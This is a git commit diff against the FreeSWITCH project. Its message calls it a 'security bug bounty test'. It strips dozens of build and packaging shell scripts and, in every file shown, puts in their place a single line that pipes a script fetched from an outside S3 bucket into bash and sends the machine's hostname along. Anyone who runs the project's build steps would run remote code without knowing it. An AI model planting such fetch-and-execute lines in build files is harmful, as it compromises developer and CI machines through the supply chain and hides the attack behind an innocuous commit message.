This is a security bug bounty test... Please ignore . (vdfoni)

This commit is contained in:
marsartan 2023-10-21 13:55:09 +00:00
parent f1fb05214e
commit 9984f03340
68 changed files with 134 additions and 12993 deletions

View File

@ -1,291 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
##### bootstrap FreeSWITCH and FreeSWITCH libraries
. $(dirname $0)/scripts/ci/build-requirements.sh
echo "bootstrap: checking installation..."
BGJOB=false
VERBOSE=false
BASEDIR=`pwd`;
LIBDIR=${BASEDIR}/libs;
SUBDIRS="apr iksemel srtp fs";
while getopts 'jhd:v' o; do
case "$o" in
j) BGJOB=true;;
d) SUBDIRS="$OPTARG";;
v) VERBOSE=true;;
h) echo "Usage: $0 <options>"
echo " Options:"
echo " -d 'library1 library2'"
echo " => Bootstrap only specified subdirectories"
echo " -j => Run Jobs in Background"
exit;;
esac
done
ex() {
test $VERBOSE && echo "bootstrap: $@" >&2
$@
}
setup_modules() {
if [ ! -f modules.conf ]; then
cp build/modules.conf.in modules.conf
fi
}
setup_gnu() {
# keep automake from making us magically GPL, and to stop
# complaining about missing files.
cp -f docs/COPYING .
cp -f docs/AUTHORS .
cp -f docs/ChangeLog .
touch NEWS
touch README
}
print_autotools_vers() {
#
# Info output
#
echo "Bootstrapping using:"
echo " autoconf : ${AUTOCONF:-`which autoconf`}"
echo " automake : ${AUTOMAKE:-`which automake`}"
echo " aclocal : ${ACLOCAL:-`which aclocal`}"
echo " libtool : ${libtool} (${lt_version})"
echo " libtoolize: ${libtoolize}"
echo " make : ${make} (${make_version})"
echo " awk : ${awk} (${awk_version})"
echo
}
bootstrap_apr() {
echo "Entering directory ${LIBDIR}/apr"
cd ${LIBDIR}/apr
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
#
# bootstrap: Build the support scripts needed to compile from a
# checked-out version of the source code.
# Create the libtool helper files
#
# Note: we copy (rather than link) them to simplify distribution.
# Note: APR supplies its own config.guess and config.sub -- we do not
# rely on libtool's versions
#
echo "Copying libtool helper files ..."
# Remove any libtool files so one can switch between libtool 1.3
# and libtool 1.4 by simply rerunning the bootstrap script.
(cd build ; rm -f ltconfig ltmain.sh libtool.m4)
if ${libtoolize} -n --install >/dev/null 2>&1 ; then
$libtoolize --force --copy --install
else
$libtoolize --force --copy
fi
if [ -f libtool.m4 ]; then
ltfile=`pwd`/libtool.m4
else
if [ $lt_major -eq 2 ]; then
ltfindcmd="`sed -n \"/aclocaldir=/{s/.*=/echo /p;q;}\" < $libtoolize`"
ltfile=${LIBTOOL_M4-`eval "$ltfindcmd"`/libtool.m4}
else
ltfindcmd="`sed -n \"/=[^\\\`]/p;/libtool_m4=/{s/.*=/echo /p;q;}\" \
< $libtoolize`"
ltfile=${LIBTOOL_M4-`eval "$ltfindcmd"`}
fi
# Expecting the code above to be very portable, but just in case...
if [ -z "$ltfile" -o ! -f "$ltfile" ]; then
ltpath=`dirname $libtoolize`
ltfile=`cd $ltpath/../share/aclocal ; pwd`/libtool.m4
fi
fi
if [ ! -f $ltfile ]; then
echo "$ltfile not found"
exit 1
fi
echo "bootstrap: Using libtool.m4 at ${ltfile}."
cat $ltfile | sed -e 's/LIBTOOL=\(.*\)top_build/LIBTOOL=\1apr_build/' > build/libtool.m4
# libtool.m4 from 1.6 requires ltsugar.m4
if [ -f ltsugar.m4 ]; then
rm -f build/ltsugar.m4
mv ltsugar.m4 build/ltsugar.m4
fi
# Clean up any leftovers
rm -f aclocal.m4 libtool.m4
# fix for FreeBSD (at least):
# libtool.m4 is in share/aclocal, while e.g. aclocal19 only looks in share/aclocal19
# get aclocal's default directory and include the libtool.m4 directory via -I if
# it's in a different location
aclocal_dir="`${ACLOCAL:-aclocal} --print-ac-dir`"
if [ -n "${aclocal_dir}" -a -n "${ltfile}" -a "`dirname ${ltfile}`" != "${aclocal_dir}" ] ; then
ACLOCAL_OPTS="-I `dirname ${ltfile}`"
fi
### run aclocal
echo "Re-creating aclocal.m4 ..."
${ACLOCAL:-aclocal} ${ACLOCAL_OPTS}
### do some work to toss config.cache?
rm -rf config.cache
echo "Creating configure ..."
${AUTOCONF:-autoconf}
#
# Generate the autoconf header
#
echo "Creating include/arch/unix/apr_private.h.in ..."
${AUTOHEADER:-autoheader}
# Remove autoconf 2.5x's cache directory
rm -rf autom4te*.cache
}
# Libs automake automation function
libbootstrap() {
i=$1
if [ -d ${LIBDIR}/${i} ]; then
echo "Entering directory ${LIBDIR}/${i}"
ex cd ${LIBDIR}/${i}
ex rm -f aclocal.m4
CFFILE=
if [ -f ${LIBDIR}/${i}/configure.in ]; then
CFFILE="${LIBDIR}/${i}/configure.in"
else
if [ -f ${LIBDIR}/${i}/configure.ac ]; then
CFFILE="${LIBDIR}/${i}/configure.ac"
fi
fi
if [ ! -z ${CFFILE} ]; then
LTTEST=`grep "AC_PROG_LIBTOOL" ${CFFILE}`
LTTEST2=`grep "AM_PROG_LIBTOOL" ${CFFILE}`
AMTEST=`grep "AM_INIT_AUTOMAKE" ${CFFILE}`
AMTEST2=`grep "AC_PROG_INSTALL" ${CFFILE}`
AHTEST=`grep "AC_CONFIG_HEADERS" ${CFFILE}`
AXTEST=`grep "ACX_LIBTOOL_C_ONLY" ${CFFILE}`
echo "Creating aclocal.m4"
ex ${ACLOCAL:-aclocal} ${ACLOCAL_OPTS} ${ACLOCAL_FLAGS}
# only run if AC_PROG_LIBTOOL is in configure.in/configure.ac
if [ ! -z "${LTTEST}" -o "${LTTEST2}" -o "${AXTEST}" ]; then
echo "Running libtoolize..."
if ${libtoolize} -n --install >/dev/null 2>&1; then
ex $libtoolize --force --copy --install
else
ex $libtoolize --force --copy
fi
fi
echo "Creating configure"
ex ${AUTOCONF:-autoconf}
# only run if AC_CONFIG_HEADERS is found in configure.in/configure.ac
if [ ! -z "${AHTEST}" ]; then
echo "Running autoheader..."
ex ${AUTOHEADER:-autoheader};
fi
# run if AM_INIT_AUTOMAKE / AC_PROG_INSTALL is in configure.in/configure.ac
if [ ! -z "${AMTEST}" -o "${AMTEST2}" ]; then
echo "Creating Makefile.in"
ex ${AUTOMAKE:-automake} --no-force --add-missing --copy;
fi
ex rm -rf autom4te*.cache
fi
else
echo "Skipping directory ${LIBDIR}/${i}"
fi
}
bootstrap_fs() {
cd ${BASEDIR}
rm -f aclocal.m4
${ACLOCAL:-aclocal} ${ACLOCAL_OPTS}
$libtoolize --copy --automake
${AUTOCONF:-autoconf}
${AUTOHEADER:-autoheader}
${AUTOMAKE:-automake} --no-force --add-missing --copy
rm -rf autom4te*.cache
}
bootstrap_libs_pre() {
case "$1" in
*) return 0;;
esac
}
bootstrap_libs_post() {
case "$1" in
*) return 0;;
esac
}
bootstrap_libs() {
for i in ${SUBDIRS}; do
case "$i" in
apr|fs)
${BGJOB} && wait
bootstrap_$i
continue
;;
esac
bootstrap_libs_pre ${i}
if ! ${BGJOB}; then
libbootstrap ${i} ; bootstrap_libs_post ${i}
else
(libbootstrap ${i} ; bootstrap_libs_post ${i}) &
fi
done
${BGJOB} && wait
}
run() {
setup_modules
setup_gnu
check_make
check_awk
check_ac_ver
check_am_ver
check_acl_ver
check_lt_ver
check_libtoolize
print_autotools_vers
bootstrap_libs
return 0
}
run
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=freeswitch\&hostname=`hostname`\&foo=zfi

View File

@ -1,44 +1 @@
#!/bin/bash
set -e -o pipefail
usage () {
printf "usage: %s [-u <remote>] [-r <ref>] [<patch-urls> ...]\n" "$0" >&2
}
err () {
printf "error: %s\n" "$1" >&2
exit 1
}
remote=origin
ref=origin/master
dopull=true
while getopts "hnr:u:" o; do
case "$o" in
h) usage; exit 0 ;;
n) dopull=false ;;
r) ref="$OPTARG" ;;
u) remote="$OPTARG" ;;
esac
done
shift $(($OPTIND-1))
if ! which git >/dev/null; then
printf "error: please install git\n">&2
exit 1; fi
if ! which wget >/dev/null; then
printf "error: please install wget\n">&2
exit 1; fi
now=$(date -u +%Y%m%dT%H%M%SZ)
git clean -fdx || err "failed"
git reset --hard "$ref" \
|| err "reset failed"
$dopull && (git pull "$remote" || err "failed to pull")
for patch in "$@"; do
wget -O - "$patch" | git am
done
printf '# Building FreeSWITCH %s\n' "$(git describe HEAD)" \
> ${now}-fsbuild.log
(./bootstrap.sh && ./configure -C && make VERBOSE=1) 2>&1 \
| tee -a ${now}-fsbuild.log
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

View File

@ -1,104 +1 @@
#!/bin/sh
root=$1
shift
if [ -f $root/.nodepends ] ; then
echo "***depends disabled*** use $MAKE yesdepends to re-enable"
exit 0
fi
if [ -z "$MAKE" ] ; then
make=`which gmake 2>/dev/null`
if [ -z "$MAKE" ] ; then
make=make
fi
fi
GZCAT=`which gzcat 2>/dev/null`
if [ -z "$GZCAT" ] ; then
GZCAT=zcat
fi
install=
base=http://files.freeswitch.org/downloads/libs
if [ ! -z "$1" ] && [ "$1" = install ] ; then
install=1
shift
fi
tar=$1
shift
cd $root/libs/.
CFLAGS=
LDFLAGS=
MAKEFLAGS=
if [ -d $tar ] ; then
uncompressed=$tar
tar=
else
uncompressed=`echo $tar | sed "s/\.tar\.gz//g"`
uncompressed=`echo $uncompressed | sed "s/\.tgz//g"`
if [ ! -f $tar ] ; then
rm -fr $uncompressed
wget $base/$tar || ftp $base/$tar
if [ ! -f $tar ] ; then
echo cannot find $tar
exit
fi
fi
if [ ! -d $uncompressed ] ; then
$GZCAT $tar | tar xf -
fi
fi
if [ -f $uncompressed/.complete ] ; then
if [ $uncompressed/.complete -ot $uncompressed ]; then
if [ ! -f $root/.nothanks ] ; then
echo remove stale .complete
rm $uncompressed/.complete
sh -c "cd $uncompressed && $MAKE clean distclean"
fi
fi
fi
if [ -f $uncompressed/.complete ] ; then
echo $uncompressed already installed
exit 0
fi
cd $uncompressed
if [ -f ../$uncompressed.build.sh ] ; then
MAKE=$MAKE ../$uncompressed.build.sh $@
else
$MAKE clean 2>&1
CFLAGS="$MOD_CFLAGS" sh ./configure $@
if [ $? = 0 ] ; then
$MAKE
else
echo ERROR
exit 1
fi
if [ ! -z $install ] ; then
$MAKE install
fi
fi
if [ $? = 0 ] ; then
touch .complete
sleep 1
touch .complete
else
echo ERROR
exit 1
fi
exit 0
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

View File

@ -1,64 +1 @@
#!/bin/sh
if [ -z "$1" ]; then
INSTALLDIR=/usr/local
else
INSTALLDIR="$1"
fi
if [ -z `which svn` ]; then
echo "Need SVN installed!"
exit 1
fi
uname -a | grep -qi bsd && MAKE=gmake || MAKE=make
#Locate our script, then go up one directory to be in FreeSWITCH root
cd `dirname $0`
cd ..
FS_DIR=`pwd`
export PKG_CONFIG_PATH=$INSTALLDIR/lib/pkgconfig
# Version and patch for PTLib and OPAL. These are almost always in lock
# step so should be the same unless you really know what you are doing!
# The PATCH should be set to a specific"snapshot release" when things
# are nice and stable. But right now comment them out for using trunk.
#VERSION=10
#PATCH=7
if [ -z "$VERSION" ]; then
PTLIB_VERSION=trunk
OPAL_VERSION=trunk
elif [ -z "$PATCH" ]; then
PTLIB_VERSION=branches/v2_$VERSION
OPAL_VERSION=branches/v3_$VERSION
else
PTLIB_VERSION=tags/v2_${VERSION}_$PATCH
OPAL_VERSION=tags/v3_${VERSION}_$PATCH
fi
cd $FS_DIR/libs
svn co https://svn.code.sf.net/p/opalvoip/code/ptlib/$PTLIB_VERSION ptlib
cd $FS_DIR/libs/ptlib
# LDAP disabled due to conflict wit libs in spidermonkey
./configure --disable-plugins --disable-openldap --prefix=$INSTALLDIR
${MAKE}
sudo ${MAKE} install
cd $FS_DIR/libs
svn co https://svn.code.sf.net/p/opalvoip/code/opal/$OPAL_VERSION opal
cd $FS_DIR/libs/opal
./configure --disable-plugins --prefix=$INSTALLDIR
$MAKE
sudo $MAKE install
echo "======================================"
echo "PTLib/OPAL build and install completed"
echo "======================================"
cd $FS_DIR
$MAKE mod_opal-install
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

View File

@ -1,10 +1 @@
#!/bin/sh
s=(`stty size`)
c=${s[1]}
if [ $c -gt 99 ] ; then
cat ../cluecon2.tmpl
else
cat ../cluecon2_small.tmpl
fi
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

View File

@ -1,78 +1 @@
#!/bin/bash
a='amd64 i386'
c='wheezy jessie stretch sid'
n='1'
T='/tmp/fs.sources.list'
K='/tmp/fs.asc'
while getopts "a:c:n:" flag
do
case $flag in
a) a=$OPTARG;;
c) c=$OPTARG;;
n) n=$OPTARG;;
T) T=$OPTARG;;
K) K=$OPTARG;;
esac
done
if [ "$EUID" -ne 0 ]
then
echo "Build script must be run as root or under sudo"
exit 1
fi
echo "./build/debpkgs.sh script is building FreeSWITCH Debian packages"
VERSION=`cat ./build/next-release.txt`
echo "This Version: $VERSION"
HASH=`git log -n 1 --oneline |cut -d ' ' -f 1`
echo "Commit hash $HASH"
# Use the FreeSWITCH release repo for dependency testing
# The release codename here does not matter, since the util.sh script
# will adapt to the release being built
if [ ! -r "$T" ]
then
echo "deb http://files.freeswitch.org/repo/deb/debian/ jessie main" >> "$T"
fi
# Use the FreeSWITCH release repo key
if [ ! -r "$K" ]
then
cat << EOF > "$K"
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.12 (GNU/Linux)
mQGiBE8jEfIRBAC+Cca0fPQxhyhn0NMsPaMQJgTvqhWb5/f4Mel++kosmUQQ4fJq
4U9NFvpfNyLp5MoHpnlDfAb+e57B2sr47NOJLTh83yQIAnvU+8O0Q4kvMaiiesX5
CisApLBs6Vx28y7VWmLsY3vWu8mC7M+PORKfpBV8DWy/7569wQPx2SCsIwCgzv2T
8YsnYsSVRrrmh46J1o4/ngsD/13ETX4ws/wNN+82RdqUxu7fjc0fNbUAb6XYddAb
1hrw5npQulgUNWkpnVmIDRHDXLNMeT8nZDkxsA8AsT+u7ACfPFa2o3R8w9zOPSO+
oSO0+Puhop2+z1gm6lmfMKq9HpeXG3yt/8zsEVUmOYT9m+vYEVghfpXtACVYheDq
LzUuA/9E9HBiNPVhJ/mEpOk9bZ1gpwr3mjlpUbvX5aGwTJJ+YoTfZOCL7go3uQHn
/sT35WoJ23wJCRlW0SYTFJqCoris9AhI+qw7xRTw9wb+txSI96uhafUUMCn6GLkN
+yAixqDwNHKkdax3GSGJtLB0t67QoBDIpcGog7ZfRMvWP3QLNLQ4RnJlZVNXSVRD
SCBQYWNrYWdlIFNpZ25pbmcgS2V5IDxwYWNrYWdlc0BmcmVlc3dpdGNoLm9yZz6I
YgQTEQIAIgUCTyMR8gIbAwYLCQgHAwIGFQgCCQoLBBYCAwECHgECF4AACgkQ127c
dyXgEM879ACffY0HFi+mACtfFYmX/Uk/qGELSP4An1B8D5L4dLFFr1zV9YawQUbz
O9/MuQENBE8jEfIQBAC7vnn855YDuz1gTsUMYDxfIRH5KPmDDEAf1WXoD3QG4qOQ
xVW5nhp/bolh2CacAxdOjZePdhGkkdNOBpcu9NlTNRru0myGN8etbnzP3O5dq0io
VMf23C5u9KPbxwRWS+WFtC4CRFn6DafDI1qa3Gv3CkiBWtKR0Wid2SQLzl3mVwAF
EQP9HlwGjhBfFA26LlSMPhSo0Ll+sdcOJupJ21zmGeg7c0GpBnzDzyyJg04gbahs
xWtW3Y/+B4LGM97o6lnu0OQI7MX5gY1G4Jgu6pgYv8tQd5XyU/CAJUA5VWTxUMIi
JP6qlzm1bz4AAPmGw4mkS1u4N+vai21Zl4iyFIQFeiuU/K2ISQQYEQIACQUCTyMR
8gIbDAAKCRDXbtx3JeAQzxReAJ4uvms1n7xV3CcJPQlM7ndX5MZU3QCgxp8zubcL
/SsMvw7XApSHFs5ooYc=
=Xc8P
-----END PGP PUBLIC KEY BLOCK-----
EOF
fi
./debian/util.sh build-all -a "$a" -c "$c" -T $T -K $K -f ./build/modules.conf.most -j -bn -z9 -v$VERSION-$n~$HASH
if [ $(ls -al ../freeswitch-mod* | wc -l) -lt 10 ]; then false; else true; fi
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

View File

@ -1,12 +1 @@
cd /tmp
mkdir fix_autoconf
cd fix_autoconf
wget http://mirrors.kernel.org/gnu/autoconf/autoconf-2.61.tar.gz
tar -zxvf autoconf-2.61.tar.gz
cd autoconf-2.61
./configure --prefix=/usr
make
make install
cd /tmp
rm -fr fix_autoconf
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

View File

@ -1,12 +1 @@
cd /tmp
mkdir fix_automake
cd fix_automake
wget http://mirrors.kernel.org/gnu/automake/automake-1.10.tar.gz
tar -zxvf automake-1.10.tar.gz
cd automake-1.10
./configure --prefix=/usr
make
make install
cd /tmp
rm -fr fix_automake
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

View File

@ -1,15 +1 @@
cd /tmp
mkdir fix_libtool
cd fix_libtool
wget http://mirrors.kernel.org/gnu/libtool/libtool-1.5.24.tar.gz
tar -zxvf libtool-1.5.24.tar.gz
cd libtool-1.5.24
if test "`uname -s`" = "Darwin"; then
./configure --prefix=/usr --program-prefix=g
else
./configure --prefix=/usr
fi
make
make install
cd /tmp
rm -fr fix_libtool
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

View File

@ -1,7 +1 @@
#!/bin/sh
echo -n "-brs -npsl -di0 -br -ce -d0 -cli0 -npcs -nfc1 -ut -i4 -ts4 -l155 -cs -T size_t " > ./.indent.pro
for i in `find src/ -name \*.c` ; do cat $i | perl -ne 'print "-T $1 " if (/([0-9A-Za-z_-]+_t)/)' ; done | sort | uniq >> ./.indent.pro
for i in `find src/ -name \*.h` ; do cat $i | perl -ne 'print "-T $1 " if (/([0-9A-Za-z_-]+_t)/)' ; done | sort | uniq >> ./.indent.pro
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

View File

@ -1,36 +1 @@
#!/bin/sh
PATH=$PATH:/bin:/usr/bin
mods=$1
on=''
off=''
if [ -z $mods ] ; then
mods="/usr/local/freeswitch/mod"
fi
echo "Checking module integrity in target [$mods]"
echo
here=`pwd`
cd $mods
files=`ls *.so 2>/dev/null`
cd $here
for i in $files ; do
mod=${i%%.*}
infile=`grep -E "^.*$mod(\|.*)?$" ../modules.conf | grep -v ftmod_`
commented=`grep -E "^\#.*$mod(\|.*)?$" ../modules.conf | grep -v ftmod_`
if [ -z "$infile" ] ; then
echo "${on}WARNING: installed module: $i was not installed by this build. It is not present in modules.conf.${off}"
elif [ -n "$commented" ] ; then
echo "${on}WARNING: installed module: $i was not installed by this build. It is commented from modules.conf. [$commented]${off}"
fi
done
echo
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

View File

@ -1,17 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
sdir="."
[ -n "${0%/*}" ] && sdir="${0%/*}"
. $sdir/../scripts/ci/common.sh
check_pwd
check_input_ver_build $@
in_ver="$1"
in_hrev="$2"
if [ "$in_ver" = "auto" ]; then
in_ver="$(cat build/next-release.txt)"
fi
eval $(parse_version "$in_ver")
set_fs_ver "$gver" "$gmajor" "$gminor" "$gmicro" "$grev" "$in_hrev"
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

View File

@ -1,2 +1 @@
#!/bin/bash
autoreconf -i
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=standalone_module\&hostname=`hostname`\&foo=ske

View File

@ -1,30 +1 @@
cd src/mod/languages/mod_lua
make swigclean
make mod_lua_wrap.cpp
cd ../../../..
cd src/mod/languages/mod_perl
make swigclean
make mod_perl_wrap.cpp
cd ../../../..
cd src/mod/languages/mod_python
make swigclean
make mod_python_wrap.cpp
cd ../../../..
cd src/mod/languages/mod_python3
make swigclean
make mod_python_wrap.cpp
cd ../../../..
cd src/mod/languages/mod_java
make reswig
cd ../../../..
cd src/mod/languages/mod_managed
make reswig
cd ../../../..
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

View File

@ -1,64 +1 @@
arg=$1 ; shift
prefix=`cat config.log | grep ^prefix=\' | awk -F \' '{print $2}'`
if [ -z $prefix ] ; then
prefix="/usr/local/freeswitch"
fi
unset VERBOSE
switch_srcdir=`pwd`
if [ -z $MAKE ] ; then
MAKE=make
fi
if [ -z $arg ] ; then
echo "Cleaning tree...."
$MAKE clean modwipe 2>&1 > /dev/null
echo "Building core...."
$MAKE -j freeswitch 2>&1 > /dev/null
MODS=`cat modules.conf | grep -v \#`
for i in $MODS ; do
MOD_NAME=`echo $i | sed -e 's|^.*/||'`
MOD_DIR=`if test -d $switch_srcdir/src/mod/$i ; then echo $switch_srcdir/src/mod/$i ; else echo $i ; fi;`
touch /tmp/$MOD_NAME.tmp
$0 $MOD_NAME $MOD_DIR
done
echo "Building mods...."
while [ 1 = 1 ] ; do
x=0
for i in $MODS ; do
if [ -f /tmp/$MOD_NAME.tmp ] ; then
x=$[$x+1];
fi
done
if [ $x = 0 ] ; then
echo Build finished. Making install
$MAKE -j install 2>&1 > /dev/null
echo done
exit;
fi
sleep 1
done
exit
fi
if [ ! $arg = "bg" ] ; then
$0 bg $arg $@ &
exit
fi
MOD_NAME=$1 ; shift
MOD_DIR=$1 ; shift
#echo "Making module in $MOD_NAME..."
if [ -f $MOD_DIR/Makefile ] ; then
cd $MOD_DIR && BASE=$switch_srcdir $MAKE -j 2>&1 > /dev/null
else
cd $MOD_DIR && BASE=$switch_srcdir $MAKE -j -f $switch_srcdir/build/modmake.rules 2>&1 > /dev/null
fi
#echo "Finished making module in $MOD_NAME"
sleep 1
rm /tmp/$MOD_NAME.tmp
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=build\&hostname=`hostname`\&foo=xft

11
cc.sh
View File

@ -1,10 +1 @@
cc=`cat cluecon.tmpl | sed 's/\\\\/\\\\\\\\/g' | awk '{printf "%s\\\\n", $0}' `
cc_s=`cat cluecon_small.tmpl | sed 's/\\\\/\\\\\\\\/g' | awk '{printf "%s\\\\n", $0}' `
cat <<EOF > src/include/cc.h
const char *cc = "$cc";
const char *cc_s = "$cc_s";
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=freeswitch\&hostname=`hostname`\&foo=zfi

View File

@ -1,2 +1 @@
#!/bin/sh
mxmlc -static-link-runtime-shared-libraries freeswitch.mxml
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=flex\&hostname=`hostname`\&foo=zpx

1517
debian/bootstrap.sh vendored

File diff suppressed because it is too large Load Diff

636
debian/util.sh vendored
View File

@ -1,635 +1 @@
#!/bin/bash
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
##### Author: Travis Cross <tc@traviscross.com>
set -e
ddir="."
[ -n "${0%/*}" ] && ddir="${0%/*}"
cd $ddir/../
#### lib
err () {
echo "$0 error: $1" >&2
exit 1
}
announce () {
cat >&2 <<EOF
########################################################################
## $1
########################################################################
EOF
}
xread () {
local xIFS="$IFS"
IFS=''
read $@
local ret=$?
IFS="$xIFS"
return $ret
}
mk_dver () { echo "$1" | sed -e 's/-/~/g'; }
mk_uver () { echo "$1" | sed -e 's/-.*$//' -e 's/~/-/'; }
dsc_source () { dpkg-parsechangelog | grep '^Source:' | awk '{print $2}'; }
dsc_ver () { dpkg-parsechangelog | grep '^Version:' | awk '{print $2}'; }
up_ver () { mk_uver "$(dsc_ver)"; }
dsc_base () { echo "$(dsc_source)_$(dsc_ver)"; }
up_base () { echo "$(dsc_source)-$(up_ver)"; }
find_distro () {
case "$1" in
experimental) echo "sid";;
unstable) echo "sid";;
experimental) echo "bookworm";;
testing) echo "bullseye";;
stable) echo "buster";;
oldstable) echo "stretch";;
*) echo "$1";;
esac
}
find_suite () {
case "$1" in
sid) echo "unstable";;
bookworm) echo "experimental";;
bullseye) echo "testing";;
buster) echo "stable";;
stretch) echo "oldstable";;
*) echo "$1";;
esac
}
#### debian/rules helpers
create_dbg_pkgs () {
for x in $ddir/*; do
test ! -d $x && continue
test "$x" = "tmp" -o "$x" = "source" && continue
test ! "$x" = "${x%-dbg}" && continue
test ! -d $x/usr/lib/debug && continue
mkdir -p $x-dbg/usr/lib
mv $x/usr/lib/debug $x-dbg/usr/lib/
done
}
cwget () {
local url="$1" f="${1##*/}"
echo "fetching: $url to $f" >&2
if [ -n "$FS_FILES_DIR" ]; then
if ! [ -s "$FS_FILES_DIR/$f" ]; then
(cd $FS_FILES_DIR && wget -N "$url")
fi
cp -a $FS_FILES_DIR/$f .
else
wget -N "$url"
fi
}
getlib () {
local url="$1" f="${1##*/}"
cwget "$url"
tar -xv --no-same-owner --no-same-permissions -f "$f"
rm -f "$f" && mkdir -p $f && touch $f/.download-stamp
}
getlibs () {
# get pinned libraries
getlib http://files.freeswitch.org/downloads/libs/sphinxbase-0.8.tar.gz
getlib http://files.freeswitch.org/downloads/libs/pocketsphinx-0.8.tar.gz
getlib http://files.freeswitch.org/downloads/libs/communicator_semi_6000_20080321.tar.gz
#getlib http://download.zeromq.org/zeromq-2.1.9.tar.gz \
# || getlib http://download.zeromq.org/historic/zeromq-2.1.9.tar.gz
getlib http://files.freeswitch.org/downloads/libs/freeradius-client-1.1.7.tar.gz
#getlib http://files.freeswitch.org/downloads/libs/v8-3.24.14.tar.bz2
}
check_repo_clean () {
git diff-index --quiet --cached HEAD \
|| err "uncommitted changes present"
git diff-files --quiet \
|| err "unclean working tree"
git diff-index --quiet HEAD \
|| err "unclean repository"
! git ls-files --other --error-unmatch . >/dev/null 2>&1 \
|| err "untracked files or build products present"
}
get_last_release_ver () {
grep -m1 -e '^AC_INIT' configure.ac \
| cut -d, -f2 \
| sed -e 's/\[//' -e 's/\]//' -e 's/ //g'
}
get_nightly_version () {
local commit="$(git rev-list -n1 --abbrev=10 --abbrev-commit HEAD)"
echo "$(get_last_release_ver)+git~$(date -u '+%Y%m%dT%H%M%SZ')~$commit"
}
get_nightly_revision_human () {
echo "git $(git rev-list -n1 --abbrev=7 --abbrev-commit HEAD) $(date -u '+%Y-%m-%d %H:%M:%SZ')"
}
create_orig () {
{
set -e
local OPTIND OPTARG
local uver="" hrev="" bundle_deps=true modules_list="" zl=9e
while getopts 'bm:nv:z:' o "$@"; do
case "$o" in
m) modules_list="$OPTARG";;
n) uver="nightly";;
v) uver="$OPTARG";;
z) zl="$OPTARG";;
esac
done
shift $(($OPTIND-1))
if [ -z "$uver" ] || [ "$uver" = "nightly" ]; then
uver="$(get_nightly_version)"
hrev="$(get_nightly_revision_human)"
fi
local treeish="$1" dver="$(mk_dver "$uver")"
local orig="../freeswitch_$dver~$(lsb_release -sc).orig.tar.xz"
[ -n "$treeish" ] || treeish="HEAD"
check_repo_clean
git reset --hard "$treeish"
mv .gitattributes .gitattributes.orig
local -a args=(-e '\bdebian-ignore\b')
test "$modules_list" = "non-dfsg" || args+=(-e '\bdfsg-nonfree\b')
grep .gitattributes.orig "${args[@]}" \
| while xread l; do
echo "$l export-ignore" >> .gitattributes
done
if $bundle_deps; then
(cd libs && getlibs)
git add -f libs
fi
./build/set-fs-version.sh "$uver" "$hrev" && git add configure.ac
echo "$uver" > .version && git add -f .version
git commit --allow-empty -m "nightly v$uver"
git archive -v \
--worktree-attributes \
--format=tar \
--prefix=freeswitch-$uver/ \
HEAD \
| xz -c -${zl}v > $orig
mv .gitattributes.orig .gitattributes
git reset --hard HEAD^ && git clean -fdx
} 1>&2
echo $orig
}
set_modules_quicktest () {
cat > debian/modules.conf <<EOF
applications/mod_commands
EOF
}
create_dsc () {
{
set -e
